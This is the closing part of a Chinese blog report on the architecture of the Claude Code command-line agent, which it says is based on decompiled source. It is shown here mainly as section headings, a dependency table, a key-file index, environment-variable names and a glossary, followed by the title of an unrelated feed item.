href="#31d0f0c5b87c80a5889bfcb4d9ab9796" title="21.2 模型常量"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">21.2 模型常量</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c807597efe9bf9c51a33f" data-id="31d0f0c5b87c807597efe9bf9c51a33f"><span><div id="31d0f0c5b87c807597efe9bf9c51a33f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c807597efe9bf9c51a33f" title="21.3 超时配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">21.3 超时配置</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c801f93ffcfdbbb327026" data-id="31d0f0c5b87c801f93ffcfdbbb327026"><span><div id="31d0f0c5b87c801f93ffcfdbbb327026" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c801f93ffcfdbbb327026" title="21.4 路径常量"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">21.4 路径常量</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c8089a8bdc2ebd959f063"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80938753d318367916bc" data-id="31d0f0c5b87c80938753d318367916bc"><span><div id="31d0f0c5b87c80938753d318367916bc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80938753d318367916bc" title="22. 安全特性"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">22. 安全特性</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80858857f37fffbd816e" data-id="31d0f0c5b87c80858857f37fffbd816e"><span><div id="31d0f0c5b87c80858857f37fffbd816e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80858857f37fffbd816e" title="22.1 密钥保护"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">22.1 密钥保护</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80e0989cd09399f3a08c" data-id="31d0f0c5b87c80e0989cd09399f3a08c"><span><div id="31d0f0c5b87c80e0989cd09399f3a08c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80e0989cd09399f3a08c" title="22.2 文件夹信任"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">22.2 文件夹信任</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80318a5fcdf03cb52708" data-id="31d0f0c5b87c80318a5fcdf03cb52708"><span><div id="31d0f0c5b87c80318a5fcdf03cb52708" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80318a5fcdf03cb52708" title="22.3 危险路径检测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">22.3 危险路径检测</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c8021b5c5c1622b752caa"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c801aaec1db80905619f2" data-id="31d0f0c5b87c801aaec1db80905619f2"><span><div id="31d0f0c5b87c801aaec1db80905619f2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c801aaec1db80905619f2" title="23. 性能优化策略"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">23. 性能优化策略</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80389016cf0f6d1a7153" data-id="31d0f0c5b87c80389016cf0f6d1a7153"><span><div id="31d0f0c5b87c80389016cf0f6d1a7153" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80389016cf0f6d1a7153" title="23.1 惰性加载"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">23.1 惰性加载</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c801c8716d9e3eaa2d189" data-id="31d0f0c5b87c801c8716d9e3eaa2d189"><span><div id="31d0f0c5b87c801c8716d9e3eaa2d189" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c801c8716d9e3eaa2d189" title="23.2 缓存策略"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">23.2 缓存策略</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80bca6f7d23301659227" data-id="31d0f0c5b87c80bca6f7d23301659227"><span><div id="31d0f0c5b87c80bca6f7d23301659227" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80bca6f7d23301659227" title="23.3 并发控制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">23.3 并发控制</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c804d8f9dc58453ba694c"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c8024850cd6842e683240" data-id="31d0f0c5b87c8024850cd6842e683240"><span><div id="31d0f0c5b87c8024850cd6842e683240" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8024850cd6842e683240" title="24. 依赖分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">24. 依赖分析</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80f7bddef487a3a1a309" data-id="31d0f0c5b87c80f7bddef487a3a1a309"><span><div id="31d0f0c5b87c80f7bddef487a3a1a309" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80f7bddef487a3a1a309" title="24.1 核心 Vendor 包"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">24.1 核心 Vendor 包</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80bcab4df5f72f348a6e"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c819a8b8bc150790aaaf5"><td class="" style="width:120px"><div class="notion-simple-table-cell">包名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">版本</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">用途</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8126b156f818b6e8dd08"><td class="" style="width:120px"><div class="notion-simple-table-cell">@anthropic-ai/sdk</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">latest</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Anthropic API 客户端</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81af9f60e9d284404aac"><td class="" style="width:120px"><div class="notion-simple-table-cell">@modelcontextprotocol/sdk</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^1.23.0</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">MCP 协议</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c819c82a0dcefd4570404"><td class="" style="width:120px"><div class="notion-simple-table-cell">react</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^19.2.0</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">UI 框架</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81c9bb60d740574c6ef5"><td class="" style="width:120px"><div class="notion-simple-table-cell">ink</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^6.x</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">TUI 渲染</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81bba3e2e536f6434801"><td class="" style="width:120px"><div class="notion-simple-table-cell">commander</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^12.x</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">CLI 解析</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81dca8aafc3a8357e659"><td class="" style="width:120px"><div class="notion-simple-table-cell">zod</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^3.23.8</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">数据验证</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c813eba13c35c49ff8ba9"><td class="" style="width:120px"><div class="notion-simple-table-cell">chalk</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^5.x</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">终端颜色</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81719d6fc8816acce771"><td class="" style="width:120px"><div class="notion-simple-table-cell">simple-git</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">^3.28.0</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Git 操作</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8013a534de949654565d" data-id="31d0f0c5b87c8013a534de949654565d"><span><div id="31d0f0c5b87c8013a534de949654565d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8013a534de949654565d" title="24.2 依赖关系图"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">24.2 依赖关系图</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c8074a908e985f8ceb7d4"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c809c9d4fcd152bd87199" data-id="31d0f0c5b87c809c9d4fcd152bd87199"><span><div id="31d0f0c5b87c809c9d4fcd152bd87199" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c809c9d4fcd152bd87199" title="附录 A: 关键文件索引"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">附录 A: 关键文件索引</span></span></h3><table class="notion-simple-table notion-block-31d0f0c5b87c80d899bcfc80467cc41b"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81a58a06f1dcd0d7e804"><td class="" style="width:120px"><div class="notion-simple-table-cell">文件/模块</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内容</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c814693ccc59e78891e4f"><td class="" style="width:120px"><div class="notion-simple-table-cell">00-runtime.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块系统运行时</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c817fae1ce52e09f3180f"><td class="" style="width:120px"><div class="notion-simple-table-cell">4696.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">CLI 入口和命令定义</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8117ba6add3c7a8ccbe9"><td class="" style="width:120px"><div class="notion-simple-table-cell">3549.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Agent 主循环</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81f69ddac43b3a7bcdac"><td class="" style="width:120px"><div class="notion-simple-table-cell">4286.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API 客户端和流处理</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8135911dd02cdf2d6faa"><td class="" style="width:120px"><div class="notion-simple-table-cell">3768.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具执行管理器</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e3be28c86242a3ea46"><td class="" style="width:120px"><div class="notion-simple-table-cell">4300.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">权限检查核心</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8169a947c0c75f91bc8d"><td class="" style="width:120px"><div class="notion-simple-table-cell">4441.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Hook 系统</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8178b1e9ef728a672fb9"><td class="" style="width:120px"><div class="notion-simple-table-cell">2545.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Read 工具</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81dba2c3c0fc80030a9a"><td class="" style="width:120px"><div class="notion-simple-table-cell">4285.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Edit 工具</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81f2a10becefc523d227"><td class="" style="width:120px"><div class="notion-simple-table-cell">3643.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Write 工具</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c80e9bf00dd7e7875e4e1"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c801ebef1e4d5440bb379" data-id="31d0f0c5b87c801ebef1e4d5440bb379"><span><div id="31d0f0c5b87c801ebef1e4d5440bb379" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c801ebef1e4d5440bb379" title="附录 B: 环境变量"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">附录 B: 环境变量</span></span></h3><table class="notion-simple-table notion-block-31d0f0c5b87c80f2a537c1f4a431b72b"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c810fb1bac681ae99e9aa"><td class="" style="width:120px"><div class="notion-simple-table-cell">变量</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">用途</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81db9486d5517422ce93"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">ANTHROPIC_API_KEY</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">API 密钥</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8150851bfad99b8a5e5a"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">ANTHROPIC_AUTH_TOKEN</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">OAuth 令牌</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8150a510e76255b53107"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">CLAUDE_CONFIG_DIR</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">配置目录覆盖</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8129b4d3d6a605bf3add"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">CLAUDECODE</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">检测嵌套运行</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81f3aa7ceb794cf73df2"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">NODE_OPTIONS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Node.js 参数</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81c1b80dc85d357d1a40"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">GITHUB_ACTIONS</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GitHub Actions 检测</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c803195decf5eefadf827"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c806ca726c56dc2459d10" data-id="31d0f0c5b87c806ca726c56dc2459d10"><span><div id="31d0f0c5b87c806ca726c56dc2459d10" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c806ca726c56dc2459d10" title="附录 C: 术语表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">附录 C: 术语表</span></span></h3><table class="notion-simple-table notion-block-31d0f0c5b87c8066bc9bfba2de748fcd"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8131b726ca1b96c9db21"><td class="" style="width:120px"><div class="notion-simple-table-cell">术语</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">说明</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8126af6dda9794337a3c"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TTFT</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Time to First Token，首字节时间</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c810abca3d87a20931393"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>MCP</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Model Context Protocol，模型上下文协议</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c812694cdc1eae09f6cce"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Agent</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代理，AI 实体的抽象</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e298deeec0d543d3ba"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Tool</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具，Agent 可执行的操作</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81198557ecf0bc47452e"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Hook</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">钩子，事件驱动的扩展点</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8122b5abeae71e313fc5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Skill</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">技能，预定义的任务处理能力</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c812794efdbbbd67f7edb"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Compact</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">压缩，减少上下文长度的操作</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c810bb8f3e1929edba13c"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>REPL</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Read-Eval-Print Loop，交互式环境</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8141b01cda72776edae5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>TUI</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Terminal User Interface，终端用户界面</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c8070a579c4c000db1a4b"/><div class="notion-text notion-block-31d0f0c5b87c805191cfdf61ad591c0c"><b>报告结束</b></div><div class="notion-text notion-block-31d0f0c5b87c801a8796fdff042c93cc"><em>本报告基于 Claude Code v2.1.71 反编译源码分析生成</em></div><div class="notion-blank notion-block-31d0f0c5b87c80b7a88dd2fb480c8a70"> </div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[《从“灰产数据、”到“数据供应链”：我对 Codex 5.3 污染问题的四轮追溯》 ]]></title>
            <link>http://www.cdxiaodong.life//article/3060f0c5-b87c-80c2-b91a-d531f9cb294b</link>
            <guid>http://www.cdxiaodong.life//article/3060f0c5-b87c-80c2-b91a-d531f9cb294b</guid>
            <pubDate>Fri, 13 Feb 2026 00:00:00 GMT</pubDate>
